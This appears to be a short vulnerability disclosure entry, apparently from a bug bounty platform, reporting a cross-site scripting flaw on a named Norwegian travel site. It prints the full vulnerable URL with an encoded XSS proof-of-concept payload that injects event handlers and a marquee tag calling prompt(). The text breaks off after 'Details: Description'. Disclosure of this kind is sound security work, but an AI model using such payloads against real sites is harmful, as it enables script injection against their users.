charter.restplass.no XSS vulnerability

Vulnerable URL: http://charter.restplass.no/tour/charters/rp?a=aaaaa%22+onmouseover%3Dprompt/OPENBUGBOUNTY/+autofocus%3Dx+bad%3D%22%3Eaa%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Cmarquee+onstart%3Dprompt/OPENBUGBOUNTY/%3Edemonium%3C%2Ftag%3E=180=flight.deptime=S%C3%B8k+reise=1= Details: Description|...